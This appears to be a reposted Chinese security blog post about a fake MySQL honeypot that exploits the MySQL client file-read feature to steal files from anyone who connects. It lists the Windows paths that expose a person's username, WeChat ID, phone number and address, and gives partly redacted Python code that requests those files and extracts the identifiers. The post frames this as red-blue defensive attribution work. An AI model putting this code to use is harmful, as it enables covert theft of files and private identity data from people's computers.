|
原文链接:通过蜜罐技术获取攻击者手机号、微信号 (qq.com)
相关声明
以下内容仅限用于红蓝攻防对抗等专业领域,请勿用于非法用途。
杂谈
首先,我们先讲一下蜜罐的概念,你可以简单理解较为蜜罐就是一个陷阱,故意暴露一些我们人为设计好的漏洞,让攻击者自投罗网。
蜜罐介绍
蜜罐是对攻击者的欺骗技术,用以监视、检测、分析和溯源攻击行为,其没有业务上的用途,所有流入/流出蜜罐的流量都预示着扫描或者攻击行为,因此可以比较好的聚焦于攻击流量。
蜜罐可以实现对攻击者的主动诱捕,能够详细地记录攻击者攻击过程中的许多痕迹,可以收集到大量有价值的数据,如病毒或蠕虫的源码、黑客的操作等,从而便于提供丰富的溯源数据。另外蜜罐也可以消耗攻击者的时间,基于JSONP等方式来获取攻击者的画像。
但是蜜罐存在安全隐患,如果没有做好隔离,可能成为新的攻击源。
Fake Mysql
这里再提一下Fake Mysql的概念,通过伪装Mysql服务器,诱导攻击者来连接,利用漏洞来读取攻击者电脑的文件从而就有了下面的内容
蜜罐技术获取手机号、微信号、地址
那么如何通过这种技术获取攻击者的手机号和微信呢?
正常获取的思路我们先来讲一下读取手机号和微信ID的正常方法,分为以下三个步骤
- 通过C:/Windows/PFRO.log获取windows用户名
- 通过C:/Users/用户名/Documents/WeChat Files/All Users/config/config.data获取wxid
- 通过C:/Users/用户名/Documents/WeChat Files/wx_id/config/AccInfo.dat获取地址、微信号、手机号
获取windows用户名
我们这里在自己的电脑中进行测试,打开C:/Windows/PFRO.log,可以看到我的用户名是66396
 
获取wxid
然后,我们访问C:/Users/66396/Documents/WeChat Files/All Users/config/config.data
这里可以获取到wxid
 
获取手机号、微信号、地址
可以看到手机号
 
还有地址、微信号都有
 
上面是黑客入侵后,查看电脑中的文件可以获取到的信息,那么如何设计一个蜜罐,让黑客在攻击时自投罗网,帮助我们防守方溯源到攻击者的信息呢?
核心代码如何把上述过程进行自动化呢?我们可以看下核心代码
下面的代码主要有两个作用
1.判断是否为扫描器或者密码爆破工具,进行交互握手,效果是扫描器直接爆3306弱口令。
2.如果是直接连接,去读取设定好的文件,并写入本地保存。
- def mysql_get_file_content(filename,conn,address):
- logpath = os.path.abspath('.') + "/log/" + address[0]
- if not os.path.exists(logpath):
- os.makedirs(logpath)
- conn.sendall("xxx")
- try:
- conn.recv(1024000)
- except Exception as e:
- print(e)
- try:
- conn.sendall("xx")
- res1 = conn.recv(1024000)
- # SHOW VARIABLES
- if 'SHOW VARIABLES' in res1:
- conn.sendall("xxx")
- res2 = conn.recv(9999)
- if 'SHOW WARNINGS' in res2:
- conn.sendall("xxx")
- res3 = conn.recv(9999)
- if 'SHOW COLLATION' in res3:
- conn.sendall("xxx")
- res4 = conn.recv(9999)
- if 'SET NAMES utf8' in res4:
- conn.sendall("xxx")
- res5 = conn.recv(9999)
- if 'SET character_set_results=NULL' in res5:
- conn.sendall("xxx")
- conn.close()
- else:
- conn.close()
- else:
- conn.close()
- else:
- conn.close()
- else:
- try:
- wantfile = chr(len(filename) + 1) + "\x00\x00\x01\xFB" + filename
- conn.sendall(wantfile)
- content=''
- while True:
- data = conn.recv(1024)
- print len(data)
- content += data
- if len(data) < 1024:
- print 'ok'
- break
-
- conn.close()
- item=logpath + "/" + filename.replace("/", "_").replace(":", "")+'_'+str(random.random())
- if len(content) > 6:
- with open(item, "w") as f:
- f.write(content)
- f.close()
- return (True,content)
- else:
- return (False,content)
- except Exception as e:
- print (e)
- except Exception as e:
- print (e)
复制代码
为了防止读取文件内容不完整,可以加入while循环。
- while True:
- conn, address = sv.accept()
- first_time = datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S")
- global files1
- global username
- global wx_id
- file=files1[0].replace('Administrator',username).replace('wx_id',wx_id)
- res,content = mysql_get_file_content(file,conn,address)
- files1.append(files1[0])
- files1.remove(files1[0])
- if res:
- if 'PFRO' in file:
- username = get_username(content)
- s= "xx" % (xx)
- cursor.execute(s)
- data = cursor.fetchall()
- if len(data)==0:
- s = "XX" % (xx)
- cursor.execute(s)
- db.commit()
- print 'success:'+ file
- insert_file(file,address,username)
- elif 'config.data'in file:
- content = content
- wxid = re.findall(r'WeChatFiles\\(.*)\\config', content)[0]
- sql = "xxx" % (xxx)
- cursor.execute(sql)
- db.commit()
- wx_id=wxid
- img = qrcode.make('weixin://contacts/profile/'+wxid)
- img.save(os.path.abspath('.')+'/static/pic/'+wxid+'.png')
- print 'success:'+ file
- insert_file(file,address,username)
- elif 'AccInfo' in file:
- content = content
- phone = re.findall(r'[0-9]{11}', content)[-1]
- sql = "xxx" % (xxx)
- cursor.execute(sql)
- db.commit()
- print 'success:'+ file
- insert_file(file,address,username)
- else:
- files1=files
- username='Administrator'
复制代码 工具下载:
公众号回复:蜜罐
当然,热心网友们最关心的还是工具效果展示,我们可以进行测试
我们需要先将工具下载下来传入服务器
 
然后修改webServer.py中admin的密码,当然,你也可以更换用户名,这个根据个人习惯来修改。
 
然后通过docker启用服务
然后运行本项目

使用方法攻击者通常会发现我们网站的一些漏洞,我们这里使用蜜罐技术,故意暴露我们的数据库,我们数据库这里设置弱口令,让攻击者可以连接。
攻击者在使用navicat连接我们的数据库时成功后,我们可以执行代码,读取到它的手机号、微信号、地址
 
并可以在5000端口访问后台,输入我们刚才设置的admin以及密码fancypig
然后就可以看到攻击者信息了!
 
内容来源:https://www.iculture.cc/knowledge/pig=10727
|
|